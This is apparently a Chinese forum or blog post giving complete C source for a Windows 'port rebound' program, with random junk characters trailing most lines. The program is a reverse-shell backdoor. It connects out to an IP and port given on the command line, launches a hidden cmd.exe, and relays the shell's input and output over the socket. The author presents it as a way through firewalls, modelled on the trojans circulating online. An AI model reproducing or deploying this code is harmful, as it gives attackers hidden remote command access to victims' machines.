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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W'rft@J$  
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/* ============================== or\ 2)  
Rebound port in Windows NT {<ymL}  
By wind,2006/7 nX<!n\J T  
===============================*/ dx}()i\@  
#include "jmi "O*  
#include # SV*6  
!NK8_p|X  
#pragma comment(lib,"wsock32.lib") EUmQn8  
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void OutputShell(); XCoN!~  
SOCKET sClient; R>BI;IcX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ry3;60E \)  
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void main(int argc,char **argv) 15#v|/wI'  
{ wqyx{W`~w  
WSADATA stWsaData; ,g@U *06  
int nRet; ,SuF1&4  
SOCKADDR_IN stSaiClient,stSaiServer; {;);E  
SQWwxFJ  
if(argc != 3) EU TTeFp  
{ beEdH>  
printf("Useage:\n\rRebound DestIP DestPort\n"); O*rKV2\  
return; :}FMauHh  
} $jo}?Y+  
N \[Cuh8Fe  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pe!uk4}w  
SoS[yr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %#2[3N{  
J:)Q)MT24:  
stSaiClient.sin_family = AF_INET; -7TT6+H)  
stSaiClient.sin_port = htons(0); lMB^/-Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {HNGohZt  
["Ep.7=SU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6GMQgTY^  
{ CspY+%3$  
printf("Bind Socket Failed!\n"); V /$qD  
return; 8V`r*:\  
} oat*ORL  
'g^;_=^G  
stSaiServer.sin_family = AF_INET; 9 Bz ~3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M' "S:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ueZ`+g~gg  
5[]7baO)h1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k4'rDJfB  
{ ZGSb&!Ke  
printf("Connect Error!"); R0_%M  
return; X3%7VFy9  
} U%"c@%B0  
OutputShell(); Hwklk9U  
} F'*y2FC  
Tf Q(f?  
void OutputShell() 25t2tj@S  
{ ?W1( @.  
char szBuff[1024]; E).N u  
SECURITY_ATTRIBUTES stSecurityAttributes; L,p5:EW8.  
OSVERSIONINFO stOsversionInfo; {tk42}8k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IX']s;b  
STARTUPINFO stStartupInfo; [mJc c  
char *szShell; D@!`b6  
PROCESS_INFORMATION stProcessInformation; 0diQfu)Fi  
unsigned long lBytesRead; ;XSV}eLu  
}ARWR.7Cc  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #n]js7  
yDWzsA/X  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zK(9k0+s  
stSecurityAttributes.lpSecurityDescriptor = 0; R#1h.8  
stSecurityAttributes.bInheritHandle = TRUE; ~ULuX"n  
=<y$5"|  
mNc (  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z 3m5DK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L10Vq}W"  
qi;@A-cq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pan^@B=Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; he8y  
stStartupInfo.wShowWindow = SW_HIDE; Ms=x~o'  
stStartupInfo.hStdInput = hReadPipe; $L)9'X   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]$Ky ZHj{  
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GetVersionEx(&stOsversionInfo); aU<0<Dx  
ow:c$Zq  
switch(stOsversionInfo.dwPlatformId) y;keOI!  
{ $T8Ni!#/C  
case 1: <oS2a/Nd  
szShell = "command.com"; #b4`Wcrj  
break; .wtb7U;7  
default: #yFDC@gH1  
szShell = "cmd.exe"; i d\0yRBt  
break; xop9*Z$  
} X4!` V?  
<8|vj 2d2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); br .jj  
{ .B^  
send(sClient,szMsg,77,0); bqJL@!T  
while(1) y-cRqIM  
{ Q%o ]&Hdn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I;qeDCM  
if(lBytesRead) R44JK  
{ NS6#od ZeV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); GC?\GV  
send(sClient,szBuff,lBytesRead,0); ;26a8g(  
} O(!J^J3_z  
else 36,qh.LKn  
{ (~?P7RnU%  
lBytesRead=recv(sClient,szBuff,1024,0); @`G_6 <.`  
if(lBytesRead<=0) break; -PbGNF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); afqLTWU S  
} tQ< ou,   
} T)6p,l  
BEPeK  
return; ;Z-xum{  
}
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